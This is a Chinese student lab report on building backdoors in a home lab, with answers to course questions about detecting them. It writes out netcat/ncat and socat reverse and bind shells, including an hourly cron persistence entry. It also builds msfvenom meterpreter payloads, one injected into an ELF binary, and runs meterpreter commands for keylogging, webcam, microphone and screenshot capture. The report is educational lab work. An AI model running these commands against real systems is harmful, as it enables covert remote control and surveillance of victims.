一、实验原理
(一)后门
1.概念:后门程序一般是指那些绕过安全性控制而获取对程序或系统访问权的程序方法。在软件的开发阶段,程序员常常会在软件内创建后门程序以便可以修改程序设计中的缺陷。但是,如果这些后门被其他人知道,或是在发布软件之前没有删除后门程序,那么它就成了安全风险,容易被黑客当成漏洞进行攻击。
二、实验内容
(1)使用netcat获取主机操作Shell,cron启动
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
三、功能测试
1.Win获得Linux Shell
1.1windows 打开监听
(1)首先通过命令ipconfig查看主机IP地址,为192.168.56.1
(2)接着在主机命令行中输入
ncat.exe -l -p 8888
进行监听,其中的端口号8888可以自行修改,只要满足主机和虚拟机选择的端口一致就行。
(3)windows下获得一个linux shell,可运行任何指令,如pwd
2.Linux获得Win Shell
(1)Linux运行监听指令
首先查看虚拟机的IP地址,为192.168.31.53
接着运行监听指令
nc -l -p 8888
(2)Windows反弹连接Linux
主机命令行中输入
ncat.exe -e cmd.exe 192.168.31.53 8888
(3)Linux下看到Windows的命令提示
输入ipconfig可以返回信息,但有许多乱码
3.nc传输数据
Windows端cmd输入
nc.exe 192.168.43.44 2416 (192.168.43.44为linux的ip地址,2416为端口号)
Linux端输入nc -l -p 2416 (在kali下监听4321端口)
连接成功后输入字符进行实验结果验证:
四、实验步骤
1.使用netcat获取主机操作Shell,cron启动
(1)在Linux下输入 crontab -e 添加cron任务区,选择编辑器3。
在最后一行添加
55 * * * * /bin/netcat 192.168.43.117 8888 -e /bin/sh
其中的55 * * * *代表的是时间,分别为分钟 小时 日期 月 周几,后面为要运行的命令
然后ctrl+z,选择Y 保存并退出。(表示每小时的第55分钟反向链接Windows主机的8888端口)
(2)在主机上监听8888端口,到了55分就会有获得一个shell。
以上,我们得到了一个最简单的反弹式后门。
2.使用socat获取主机操作Shell, 任务计划启动
(1)Windows->控制面板->管理工具->任务计划程序->创建任务
名称设为socat
触发器——>新建——>选择工作站锁定时——>确定
操作——>新建——>填参数——>确定
程序或脚本:socat的安装路径\socat\socat.exe
参数:tcp-listen:5319 exec:cmd.exe,pty,stderr
(2)快捷键“windows+l”锁定计算机用户,任务自动运行
(3)在Kali输入
socat - tcp:192.168.1.102:5319
即可获取shell
3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
这里我又更换了网络,主机地址为:172.16.219.37 虚拟机地址为:172.16.220.10
(1)虚拟机生成可执行文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.220.10 LPORT=2416 -f exe > 20192416.exe
(2)传输后门程序
在Windows端cmd输入
ncat.exe -lv 2416 > 20192416.exe
使被控主机进入接收文件模式.
在Linux端输入
nc 172.16.219.37 2416 < 20192416.exe
将生成的后门程序传送到主机上。
(3)MSF开始监听进程
在Linux上使用msfconsole 进入msf控制台依次输入
use exploit/multi/handler //监听设置payload
set payload windows/meterpreter/reverse_tcp
set LHOST 172.16.220.10 //Linux端的IP地址
set LPORT 2416 //端口号
exploit //开始监听
主机端运行后门程序,返回虚拟机发现已经获得主机端的shell:
4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
1.获取录音权限
通过代码:
record_mic -d 10
录制一段十秒的音频
2.获取摄像头权限
webcam_snap
3.获取击键记录
keyscan_start
keyscan_dump
4. 获取截屏权限
screenshot
5.提权
查看当前用户
getuid
获得的文件:
5.使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
首先生成shellcode:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.31.54 LPORT=2416 -x /home/kali/shiyan2/pwn1 -f elf >pwn20192416
这里的LHOST是虚拟机的IP地址
接着打开控制台:
msfconsole
在控制台下输入:
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.31.54
set LPORT 2416
exploit
此时打开另一个终端,运行刚才生成的shellcode,最终效果如下:
五、实验中遇到的问题及解决方法
问题1:在VirtualBox创建虚拟机后,ifconfig发现地址为10.0.2.15,使用ping命令超时
解决方案:将网络的连接方式改成桥接网卡,关闭防火墙
问题2:传输文件后,双击后门程序,系统提示文件无法运行
解决方案:通过网上查找资料发现传输后门程序时,主机端应该使用cmd,而不是powershell。关闭杀毒程序后成功运行。
问题3.生成的pwn文件运行不了
解决方案:使用chmod a+x filename 进行授权
六、思考题
(1)例举你能想到的一个后门进入到你系统中的可能方式?
在网上下载文件时,下载的是捆绑文件,其中可能包含后门程序。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
获取权限,开机自启动。
植入到正常软件中,随正常软件一起启动。
(3)Meterpreter有哪些给你印象深刻的功能?
能够控制目标计算机的摄像头、扬声器等多媒体设备。
(4)如何发现自己有系统有没有被安装后门?
杀毒软件进行检测,查看计算机日志检查有无可疑的记录,查看注册表。
七、实验体会
本次实验并不容易,反复弄了几天才弄好,在实验过程中出现了许多次报错,花费了许多时间在解决各种问题上。通过这次实验,我对后门的形成、植入、攻击有了更深的理解。同时我也意识到了隐私保护的重要性。
最后,感谢老师的悉心教导,也感谢同学对我的帮助,让我顺利的完成了此次实验。